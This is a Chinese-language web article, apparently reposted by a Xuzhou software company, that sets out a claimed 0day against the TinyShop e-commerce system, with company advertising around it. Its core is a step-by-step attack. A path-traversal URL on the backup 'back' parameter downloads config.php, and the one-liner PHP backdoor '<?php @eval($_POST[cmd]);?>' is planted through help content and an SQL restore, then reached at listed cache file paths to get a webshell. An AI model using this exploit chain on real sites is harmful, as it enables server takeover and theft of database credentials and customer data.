当前位置 : 首页 > 徐州网络安全技术论坛 > TinyShop缓存文件获取WebShell之0day

TinyShop缓存文件获取WebShell之0day

作者:徐州软件公司  文章来源:徐州软件公司   阅读次数:130 次
2018-02-15

此文章是徐州软件公司整理的技术资料,由徐州软件公司总务部发布,邮箱:zongwu@xuzhousoft.com

江苏徐软信息科技有限公司江苏徐软信息科技有限公司

TinyShop是一款电子商务系统(网店系统),适合企业及个人快速构建个性化网上商店。系统是基于Tiny(自主研发)框架开发的,使系统更加的安全、快捷、稳定、高性能。

1.1.1下载及安装

1.下载地址

http://www.tinyrise.org/down.html

2.安装

在本地先安装一个php+mysql的环境,然后将TinyShop压缩包解压到网站根目录,访问http://localhost/tinyshop/install/index.php根据提示进行设置即可,如图1所示,需要设置数据库名称、密码和管理员密码,数据库表前缀可以使用默认的,也可以自定义设置,后续按照提示进行安装即可。

 1.JPG

图1安装TinyShop

3.管理及重要信息

(1)TinyShop后台管理地址http://localhost/tinyshop/index.php?con=admin&act=login,输入admin和设置的密码admin888进行登录。

(2)数据库管理员表名称为tiny_manager

(3)数据库配置文件/protected/config/config.php。

4.TinyShop商城系统的用户密码加密方式

(1)查看管理员密码

打开数据库中的tiny_manager表,如图2所示,“dqrvRY*`”为validcode值,密码值为:96601e27d0bcd9dce06f95e55df40a6c。

2.JPG

图2管理密码值

(2)管理员密码计算方式

以密码的验证码(validcode)为“dqrvRY*`”,密码明文为“admin888”为例

md5(dqrvRY*`)=96601e27d0bcd9dce06f95e55df40a6c

取前16位“96601e27d0bcd9dc”,和后16位“e06f95e55df40a6c”,与明文密码组合成登录密码“96601e27d0bcd9dc”+“admin”+”e06f95e55df40a6c”,

然后返回“96601e27d0bcd9dcadmin888e06f95e55df40a6c”的32位小写md5也即数据库表中的password=md5(96601e27d0bcd9dcadmin888e06f95e55df40a6c)=7c2160f89a2fecff792522553004acb1,如图3所示,可以通过在线网站https://md5jiami.51240.com/直接查询其32为md5值。

 3.JPG

图3在线查询md5密码

(3)php加密函数

/**

* @brief调用系统的MD5散列方式

* @param String $ str

* @return String

*/

public static functionmd5x($ str,$ validcode=false)

{

if($ validcode){

$ key = md5($ validcode);

$ str =substr($ key,0,16).$ str.substr($ key,16,16);

}

returnmd5($ str);

}

通过分析知道即使tinyshop使用最简单的123456,获取的密码是32+6=38位字符串加密,直接暴力破解的成功率非常低。这也是md5变异加密,增强其安全性的一种实际应用。

1.1.2文件包含漏洞挖掘及利用

1.文件包含漏洞

(1)备份数据库

登录后台系统后,单击“系统设置”-“数据库管理”-“数据库备份”全选数据库后进行备份,成功备份后,在“数据库还原”-“处理”-“下载”中可以获取文件下载地址,如图4所示。其具体地址为:

http://localhost/tinyshop/index.php?con=admin&act=down&back=2017122522_5673_1936.sql

 4.JPG

图4获取数据库备份文件下载地址

(2)获取文件包含漏洞

在数据库下载url中发现有一个back参数,直接将该参数替换成数据库配置文件地址../../protected/config/config.php,即可下载,如图5所示,其exp为:

http://localhost/tinyshop/index.php?con=admin&act=down&back=../../protected/config/config.php,back参数可以换成网站存在的任意文件进行下载,通过下载数据库配置文件可以获取数据库配置信息。

 5.JPG

图5本地文件包含漏洞

   function back_list()

{

$ database_path =Tiny::getPath(‘database’);

$ files =glob($ database_path . ‘*.sql’);

$ this->assign(‘files’,$ files);

$ database_url =Tiny::getPath(‘database_url’);

$ this->assign(“database_url”,$ database_url);

$ this->redirect();

}

//备份下载操作

function down()

{

$ database_path =Tiny::getPath(‘database’);

$ backs =Req::args(“back”);

Http::download($ database_path.$ backs,$ backs);

1.1.3缓存文件获取webshell

1. tinyshop v2.4缓存文件分析

对其cache存在的php文件进行分析,其帮助文件对应模块整理如下:

(1)积分制度、账户注册和购物流程

对应文件夹:cache/593/924/,文件名称为107.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/593/924/107.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=6积分制度

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=3账户注册

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=5购物流程

(2)配送范围

对应文件夹:cache/325/532/,文件名称为5862.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/325/532/5862.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=7配送范围

(3)余额支付

对应文件夹:cache/986/324/,文件名称为752.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/986/324/752.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=8余额支付

(4)退款说明、售后保障

对应文件夹:cache/118/562/,文件名称为682.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/118/562/682.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=9退款说明

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=13售后保障

(5)联系客服、找回密码、常见问题、用户注册协议

对应文件夹:cache/368/501/,文件名称为4461.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/368/501/4461.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=10联系客服

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=11找回密码

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=12常见问题

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=14用户注册协议

注意:这里的模块在选择编辑内容后,对应在缓存中生成文件,该文件用于后续webshell的获取,也就该文件为webshell的实际地址。

2.tinyshopv3.0版本

在tinyshop v3.0起cache中仅仅对5862.php和6827.php文件名称进行了变更,起具体地址如下:

http://192.168.127.130/tinyshop_3.0/cache/593/924/107.php

http://192.168.127.130/tinyshop_3.0/cache/986/324/752.php

http://192.168.127.130/tinyshop_3.0/cache/368/501/4461.php

http://192.168.127.130/tinyshop_3.0/cache/325/532/5862.php

http://192.168.127.130/tinyshop_3.0/cache/118/562/6827.php

3.获取Webshell方法

(1)单击cms系统中的“内容管理”-“全部帮助”,单击任意一条记录,选择编辑该记录,在其内容中添加一句话后门代码<?php @eval($ _POST[cmd]);?>并保存,如图6所示。

 6.JPG

图6插入一句话后门

(2)备份数据库中的帮助表

单击“系统设置”-“数据库备份”在数据库表中选择包含help的表,在本例中为tiny_help的表,如图7所示,选择后在数据库备份中进行备份。

 7.jpg

图7备份tiny_help表

(3)下载备份的数据库表sql文件

如图8所示,系统会自动对备份的文件进行命名,选中后单击处理,将其下载到本地,3.0版本中已经修补了数据库文件包含这个漏洞。

 8.jpg

图8下载备份的mysql文件

(4)修改mysql文件

 9.jpg

图9修改sql文件中的代码

(5)上传sql文件进行数据库还原

在后台中,单击“系统设置”-“数据库还原”-“导入”,选择已经修改过的sql文件,如图10所示,选择“上传”,文件上传后会自动还原数据库。

 10.jpg

图10自动上传并还原数据库

(6)清理缓存

单击“系统设置”-“安全管理”-“清除缓存”,选择清除所有缓存。

(7)访问页面

在浏览器中随机访问其帮助文件中的列表,例如“用户注册协议”的地址为:

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=14

(8)获取webshell

对v30版本来说其shell地址为模块对应文件地址:

http://192.168.127.130/tinyshop_3.0/cache/593/924/107.php

http://192.168.127.130/tinyshop_3.0/cache/986/324/752.php

http://192.168.127.130/tinyshop_3.0/cache/368/501/4461.php

http://192.168.127.130/tinyshop_3.0/cache/325/532/5862.php

http://192.168.127.130/tinyshop_3.0/cache/118/562/6827.php

v2.0将前面“tinyshop v2.4缓存文件分析”,也就修改“用户注册协议”,则对应shell地址:http://192.168.127.130/tinyshop_2.x/cache/368/501/4461.php

如图11所示成功获取wesbhell,后面对全部帮助中的条目进行测试,发现所有输入都可以获取webshell,如图12所示,其ID对应webshell插入代码的详细情况。

 11.jpg

图11获取webshell

 12.jpg

图12ID对应相应的一句话后门

江苏徐软信息科技有限公司(简称徐州软件公司)是徐州软件公司中成立时间最长、技术能力最强、经济实力最雄厚的徐州软件开发公司之一,专业的徐州软件开发团队,从事徐州软件开发10年,一直保持着徐州软件开发行业排头兵的地位。徐州软件公司徐州软件开发行业内的众多徐州软件开发公司保持着良好的合作关系,是徐州软件开发行业的领航者之一。徐州软件公司立足徐州软件开发市场,主攻徐州软件开发徐州APP开发徐州软件公司徐州ERP软件开发徐州OA软件开发徐州CRM软件开发等领域拥有大量经典案例。更多信息请访问徐州软件公司官方网站:

徐软com:http://www.xuzhousoft.com  徐软cn:http://www.xuzhousoft.com.cn
徐软app:http://app.xuzhousoft.com  淮北徐软:http://huaibei.xuzhousoft.com.cn
济宁徐软:http://jining.xuzhousoft.com.cn  亳州徐软:http://bozhou.xuzhousoft.com.cn
菏泽徐软:http://heze.xuzhousoft.com.cn  宿州徐软:http://suzhou.xuzhousoft.com.cn
枣庄徐软:http://zaozhuang.xuzhousoft.com.cn  宿迁徐软:http://suqian.xuzhousoft.com.cn
商丘徐软:http://shangqiu.xuzhousoft.com.cn  连云港徐软:http://lianyungang.xuzhousoft.com.cn
莱芜徐软:http://laiwu.xuzhousoft.com.cn  泰安徐软:http://taian.xuzhousoft.com.cn
日照徐软:http://rizhao.xuzhousoft.com.cn  开封徐软:http://kaifeng.xuzhousoft.com.cn
周口徐软:http://zhoukou.xuzhousoft.com.cn  盐城徐软:http://yancheng.xuzhousoft.com.cn
淮安徐软:http://huaian.xuzhousoft.com.cn  阜阳徐软:http://fuyang.xuzhousoft.com.cn
蚌埠徐软:http://bengbu.xuzhousoft.com.cn  临沂徐软:http://linyi.xuzhousoft.com.cn
邳州徐软:http://pizhou.xuzhousoft.com.cn  新沂徐软:http://xinyi.xuzhousoft.com.cn
沛县徐软:http://peixian.xuzhousoft.com.cn  睢宁徐软:http://suining.xuzhousoft.com.cn
丰县徐软:http://fengxian.xuzhousoft.com.cn  萧县徐软:http://xiaoxian.xuzhousoft.com.cn
砀山徐软:http://dangshan.xuzhousoft.com.cn  微山徐软:http://weishan.xuzhousoft.com.cn
永城徐软:http://yongcheng.xuzhousoft.com.cn  网络营销:http://www.f168yingxiao.com
徐州系统集成公司:http://www.0516app.com

关键字标签:徐州软件公司 徐州软件开发公司 徐州APP软件开发公司 徐州ERP软件开发公司 徐州CRM软件开发公司 徐州OA软件开发公司

下载DOC版 下载PDF版

* 以上内容由 徐州软件公司 整理


关于我们

    江苏徐软信息科技有限公司(简称徐州软件)位于国家大学科技园内,成立于2005年,注册资金1000万元,是徐州地区最具实力的集软件开发、电子商务技术服务、门户网站建设、系统集成、网络工程为一体的高科技IT技术公司之一。

技术支持

  • 售后服务电话:0516-83003411
  • 售后服务QQ:412110939
  • 售后服务邮箱:
    service@xuzhousoft.com
  • 售后投诉电话:18795428064
徐州软件公司
    扫描微信二维码即可获得
    免费信息化咨询服务

Copyright© 2005 江苏徐软信息科技有限公司 All Rights Reserved.
苏公网安备 32030302000144号  苏ICP备11059116号-5

地址:江苏省徐州市云龙区和平路57号江苏师范大学科技园4F  徐州软件公司
电话:0516-83737996 邮箱:sales@xuzhousoft.com

江苏徐软信息科技有限公司地图
江苏徐软信息科技有限公司地图
点这里关闭本窗口
×